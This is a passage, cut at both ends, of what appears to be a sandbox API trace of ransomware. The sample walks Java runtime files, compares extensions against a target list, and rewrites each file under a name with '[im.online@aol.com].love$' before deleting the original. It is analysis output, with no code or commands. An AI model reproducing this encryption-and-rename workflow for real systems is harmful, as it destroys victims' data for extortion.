-1 [0240.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.720] lstrlenW (lpString=".zip") returned 4 [0240.720] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0240.720] lstrlenW (lpString=".rar") returned 4 [0240.720] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0240.720] lstrlenW (lpString=".bz2") returned 4 [0240.720] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0240.720] lstrlenW (lpString=".7z") returned 3 [0240.720] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0240.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.720] lstrlenW (lpString=".dbf") returned 4 [0240.720] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0240.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.720] lstrlenW (lpString=".1cd") returned 4 [0240.720] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0240.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.720] lstrlenW (lpString=".jpg") returned 4 [0240.720] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.721] lstrlenW (lpString=".doc") returned 4 [0240.721] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString=".docx") returned 5 [0240.721] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0240.721] lstrlenW (lpString=".pdf") returned 4 [0240.721] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString=".xls") returned 4 [0240.721] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString=".xlsx") returned 5 [0240.721] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0240.721] lstrlenW (lpString=".ppt") returned 4 [0240.721] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.721] lstrlenW (lpString=".zip") returned 4 [0240.721] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString=".rar") returned 4 [0240.721] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString=".bz2") returned 4 [0240.721] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString=".7z") returned 3 [0240.721] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0240.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.721] lstrlenW (lpString=".dbf") returned 4 [0240.721] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.721] lstrlenW (lpString=".1cd") returned 4 [0240.721] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0240.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.721] lstrlenW (lpString=".jpg") returned 4 [0240.721] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0240.722] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0240.722] lstrlenW (lpString="net.properties") returned 14 [0240.722] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0240.723] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=4464) returned 1 [0240.723] CloseHandle (hObject=0x4e4) returned 1 [0240.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0240.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.723] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0240.723] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.724] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.724] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.724] GetLastError () returned 0x0 [0240.724] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1170, lpOverlapped=0x0) returned 1 [0240.726] WriteFile (in: hFile=0x388, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1180, lpOverlapped=0x0) returned 1 [0240.728] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.728] WriteFile (in: hFile=0x388, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf0, lpOverlapped=0x0) returned 1 [0240.728] SetEndOfFile (hFile=0x388) returned 1 [0240.728] CloseHandle (hObject=0x388) returned 1 [0240.728] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.728] SetEndOfFile (hFile=0x4e4) returned 1 [0240.732] CloseHandle (hObject=0x4e4) returned 1 [0240.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0240.733] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0240.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.734] lstrlenW (lpString=".doc") returned 4 [0240.734] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0240.734] lstrlenW (lpString=".docx") returned 5 [0240.734] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0240.734] lstrlenW (lpString=".pdf") returned 4 [0240.734] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0240.734] lstrlenW (lpString=".xls") returned 4 [0240.734] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0240.734] lstrlenW (lpString=".xlsx") returned 5 [0240.734] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0240.734] lstrlenW (lpString=".ppt") returned 4 [0240.734] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0240.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.734] lstrlenW (lpString=".zip") returned 4 [0240.734] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0240.735] lstrlenW (lpString=".rar") returned 4 [0240.735] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0240.735] lstrlenW (lpString=".bz2") returned 4 [0240.735] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0240.735] lstrlenW (lpString=".7z") returned 3 [0240.735] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0240.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.735] lstrlenW (lpString=".dbf") returned 4 [0240.735] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0240.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.735] lstrlenW (lpString=".1cd") returned 4 [0240.735] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0240.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.735] lstrlenW (lpString=".jpg") returned 4 [0240.735] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0240.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.735] lstrlenW (lpString=".doc") returned 4 [0240.735] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString=".docx") returned 5 [0240.736] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0240.736] lstrlenW (lpString=".pdf") returned 4 [0240.736] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString=".xls") returned 4 [0240.736] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString=".xlsx") returned 5 [0240.736] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0240.736] lstrlenW (lpString=".ppt") returned 4 [0240.736] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.736] lstrlenW (lpString=".zip") returned 4 [0240.736] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString=".rar") returned 4 [0240.736] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString=".bz2") returned 4 [0240.736] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString=".7z") returned 3 [0240.736] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0240.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.736] lstrlenW (lpString=".dbf") returned 4 [0240.736] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.736] lstrlenW (lpString=".1cd") returned 4 [0240.736] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0240.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0240.736] lstrlenW (lpString=".jpg") returned 4 [0240.736] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0240.737] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0240.737] lstrlenW (lpString="plugin.jar") returned 10 [0240.737] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0240.738] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1923211) returned 1 [0240.738] CloseHandle (hObject=0x4e4) returned 1 [0240.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0240.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0240.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.738] lstrlenW (lpString=".doc") returned 4 [0240.738] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.739] lstrlenW (lpString=".docx") returned 5 [0240.739] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0240.739] lstrlenW (lpString=".pdf") returned 4 [0240.739] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.739] lstrlenW (lpString=".xls") returned 4 [0240.739] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.739] lstrlenW (lpString=".xlsx") returned 5 [0240.739] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0240.739] lstrlenW (lpString=".ppt") returned 4 [0240.739] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.739] lstrlenW (lpString=".zip") returned 4 [0240.739] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.739] lstrlenW (lpString=".rar") returned 4 [0240.739] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.739] lstrlenW (lpString=".bz2") returned 4 [0240.739] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.739] lstrlenW (lpString=".7z") returned 3 [0240.739] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.739] lstrlenW (lpString=".dbf") returned 4 [0240.739] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.739] lstrlenW (lpString=".1cd") returned 4 [0240.739] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.739] lstrlenW (lpString=".jpg") returned 4 [0240.739] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.740] lstrlenW (lpString=".doc") returned 4 [0240.740] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.740] lstrlenW (lpString=".docx") returned 5 [0240.740] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0240.740] lstrlenW (lpString=".pdf") returned 4 [0240.740] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.740] lstrlenW (lpString=".xls") returned 4 [0240.740] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.740] lstrlenW (lpString=".xlsx") returned 5 [0240.740] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0240.740] lstrlenW (lpString=".ppt") returned 4 [0240.740] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.740] lstrlenW (lpString=".zip") returned 4 [0240.740] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.740] lstrlenW (lpString=".rar") returned 4 [0240.740] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.740] lstrlenW (lpString=".bz2") returned 4 [0240.740] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.740] lstrlenW (lpString=".7z") returned 3 [0240.740] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.740] lstrlenW (lpString=".dbf") returned 4 [0240.740] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.740] lstrlenW (lpString=".1cd") returned 4 [0240.740] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0240.741] lstrlenW (lpString=".jpg") returned 4 [0240.741] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.741] lstrcmpiW (lpString1=".ja", lpString2=".love$") returned -1 [0240.741] lstrlenW (lpString="psfont.properties.ja") returned 20 [0240.741] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0240.743] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=2796) returned 1 [0240.743] CloseHandle (hObject=0x4e4) returned 1 [0240.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0240.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.743] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0240.744] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.744] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.744] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.745] GetLastError () returned 0x0 [0240.745] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xaec, lpOverlapped=0x0) returned 1 [0240.747] WriteFile (in: hFile=0x388, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0240.749] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.749] WriteFile (in: hFile=0x388, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xfc, lpOverlapped=0x0) returned 1 [0240.749] SetEndOfFile (hFile=0x388) returned 1 [0240.749] CloseHandle (hObject=0x388) returned 1 [0240.749] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.749] SetEndOfFile (hFile=0x4e4) returned 1 [0241.326] CloseHandle (hObject=0x4e4) returned 1 [0241.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0242.253] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0242.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.563] lstrlenW (lpString=".doc") returned 4 [0242.563] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0242.563] lstrlenW (lpString=".docx") returned 5 [0242.563] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0242.563] lstrlenW (lpString=".pdf") returned 4 [0242.563] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0242.563] lstrlenW (lpString=".xls") returned 4 [0242.563] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0242.563] lstrlenW (lpString=".xlsx") returned 5 [0242.563] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0242.564] lstrlenW (lpString=".ppt") returned 4 [0242.564] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.564] lstrlenW (lpString=".zip") returned 4 [0242.564] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString=".rar") returned 4 [0242.564] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString=".bz2") returned 4 [0242.564] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString=".7z") returned 3 [0242.564] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0242.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.564] lstrlenW (lpString=".dbf") returned 4 [0242.564] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.564] lstrlenW (lpString=".1cd") returned 4 [0242.564] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.564] lstrlenW (lpString=".jpg") returned 4 [0242.564] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.564] lstrlenW (lpString=".doc") returned 4 [0242.564] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString=".docx") returned 5 [0242.564] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0242.564] lstrlenW (lpString=".pdf") returned 4 [0242.564] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString=".xls") returned 4 [0242.564] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0242.564] lstrlenW (lpString=".xlsx") returned 5 [0242.565] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0242.565] lstrlenW (lpString=".ppt") returned 4 [0242.565] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0242.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.565] lstrlenW (lpString=".zip") returned 4 [0242.565] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0242.565] lstrlenW (lpString=".rar") returned 4 [0242.565] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0242.565] lstrlenW (lpString=".bz2") returned 4 [0242.565] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0242.565] lstrlenW (lpString=".7z") returned 3 [0242.565] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0242.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.565] lstrlenW (lpString=".dbf") returned 4 [0242.565] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0242.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.565] lstrlenW (lpString=".1cd") returned 4 [0242.565] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0242.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0242.565] lstrlenW (lpString=".jpg") returned 4 [0242.565] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0242.565] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0242.565] lstrlenW (lpString="sound.properties") returned 16 [0242.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0242.580] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1210) returned 1 [0242.580] CloseHandle (hObject=0x450) returned 1 [0242.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0242.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.581] CreateFileW 